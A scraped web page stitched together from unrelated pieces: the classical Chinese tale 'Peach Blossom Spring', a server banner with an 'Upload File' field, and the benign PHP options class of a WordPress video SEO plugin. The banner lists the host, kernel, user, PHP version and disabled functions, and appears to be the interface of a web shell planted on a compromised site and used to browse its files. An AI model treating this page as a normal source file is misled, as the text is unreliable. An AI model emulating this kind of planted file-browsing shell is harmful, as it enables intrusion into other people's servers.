晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/stando/www/wp-content/plugins/wpseo-video/classes/ |
Upload File : |
<?php
/**
* @package Internals
* @since 1.6.0
* @version 1.6.0
*/
// Avoid direct calls to this file.
if ( ! class_exists( 'WPSEO_Video_Sitemap' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
/**
*****************************************************************
* Option: wpseo_video
*/
if ( ! class_exists( 'WPSEO_Option_Video' ) ) {
/**
* Class WPSEO_Option_Video
*/
class WPSEO_Option_Video extends WPSEO_Option {
/**
* Option name.
*
* @var string
*/
public $option_name = 'wpseo_video';
/**
* Whether to include the option in the return for WPSEO_Options::get_all().
*
* @var bool
*/
public $include_in_all = false;
/**
* Whether this option is only for when the install is multisite.
*
* @var bool
*/
public $multisite_only = false;
/**
* Array of defaults for the option.
*
* Shouldn't be requested directly, use $this->get_defaults();
*
* @var array
*/
protected $defaults = array(
// Non-form fields, set via validation routine / license activation method.
// Leave default as 0 to ensure activation/upgrade works.
'dbversion' => 0,
// Form fields.
'cloak_sitemap' => false,
'disable_rss' => false,
'custom_fields' => '',
'facebook_embed' => true, // N.B.: The name of this property is outdated, should be `allow_external_embeds`.
'fitvids' => false,
'content_width' => '',
'wistia_domain' => '',
'embedly_api_key' => '',
'videositemap_posttypes' => array(),
'videositemap_taxonomies' => array(),
);
/**
* Add the actions and filters for the option
*
* @return \WPSEO_Option_Video
*/
protected function __construct() {
parent::__construct();
}
/**
* Get the singleton instance of this class
*
* @return object
*/
public static function get_instance() {
if ( ! ( self::$instance instanceof self ) ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Add dynamically created default option based on available post types
*
* @return void
*/
public function enrich_defaults() {
$this->defaults['videositemap_posttypes'] = get_post_types( array( 'public' => true ) );
}
/**
* Validate the option
*
* @param array $dirty New value for the option.
* @param array $clean Clean value for the option, normally the defaults.
* @param array $old Old value of the option.
*
* @return array Validated clean value for the option to be saved to the database
*/
protected function validate_option( $dirty, $clean, $old ) {
foreach ( $clean as $key => $value ) {
switch ( $key ) {
case 'dbversion':
$clean[ $key ] = WPSEO_VIDEO_VERSION;
break;
case 'videositemap_posttypes':
$clean[ $key ] = array();
$valid_post_types = get_post_types( array( 'public' => true ) );
if ( isset( $dirty[ $key ] ) && ( is_array( $dirty[ $key ] ) && $dirty[ $key ] !== array() ) ) {
foreach ( $dirty[ $key ] as $k => $v ) {
if ( in_array( $k, $valid_post_types, true ) ) {
$clean[ $key ][ $k ] = $v;
}
elseif ( sanitize_title_with_dashes( $k ) === $k ) {
// Allow post types which may not be registered yet.
$clean[ $key ][ $k ] = $v;
}
}
}
break;
case 'videositemap_taxonomies':
$clean[ $key ] = array();
$valid_taxonomies = get_taxonomies( array( 'public' => true ) );
if ( isset( $dirty[ $key ] ) && ( is_array( $dirty[ $key ] ) && $dirty[ $key ] !== array() ) ) {
foreach ( $dirty[ $key ] as $k => $v ) {
if ( in_array( $k, $valid_taxonomies, true ) ) {
$clean[ $key ][ $k ] = $v;
}
elseif ( sanitize_title_with_dashes( $k ) === $k ) {
// Allow taxonomies which may not be registered yet.
$clean[ $key ][ $k ] = $v;
}
}
}
break;
// Text field - may not be in form.
// @todo - validate custom fields against meta table?
case 'custom_fields':
if ( isset( $dirty[ $key ] ) && $dirty[ $key ] !== '' ) {
$clean[ $key ] = sanitize_text_field( $dirty[ $key ] );
}
break;
// @todo - validate domains in some way?
case 'wistia_domain':
if ( isset( $dirty[ $key ] ) && $dirty[ $key ] !== '' ) {
$clean[ $key ] = sanitize_text_field( urldecode( $dirty[ $key ] ) );
$clean[ $key ] = preg_replace( array( '`^http[s]?://`', '`^//`', '`/$`' ), '', $clean[ $key ] );
}
break;
case 'embedly_api_key':
if ( isset( $dirty[ $key ] ) && $dirty[ $key ] !== '' && preg_match( '`^[a-f0-9]{32}$`', $dirty[ $key ] ) ) {
$clean[ $key ] = sanitize_text_field( $dirty[ $key ] );
}
break;
// Numeric text field - may not be in form.
case 'content_width':
if ( isset( $dirty[ $key ] ) && $dirty[ $key ] !== '' ) {
$int = WPSEO_Video_Wrappers::yoast_wpseo_video_validate_int( $dirty[ $key ] );
if ( $int !== false && $int > 0 ) {
$clean[ $key ] = $int;
}
}
break;
// Boolean (checkbox) field - may not be in form.
case 'cloak_sitemap':
case 'disable_rss':
case 'facebook_embed':
case 'fitvids':
if ( isset( $dirty[ $key ] ) ) {
$clean[ $key ] = WPSEO_Video_Wrappers::validate_bool( $dirty[ $key ] );
}
else {
$clean[ $key ] = false;
}
break;
}
}
return $clean;
}
} /* End of class WPSEO_Option_Video */
} /* End of class-exists wrapper */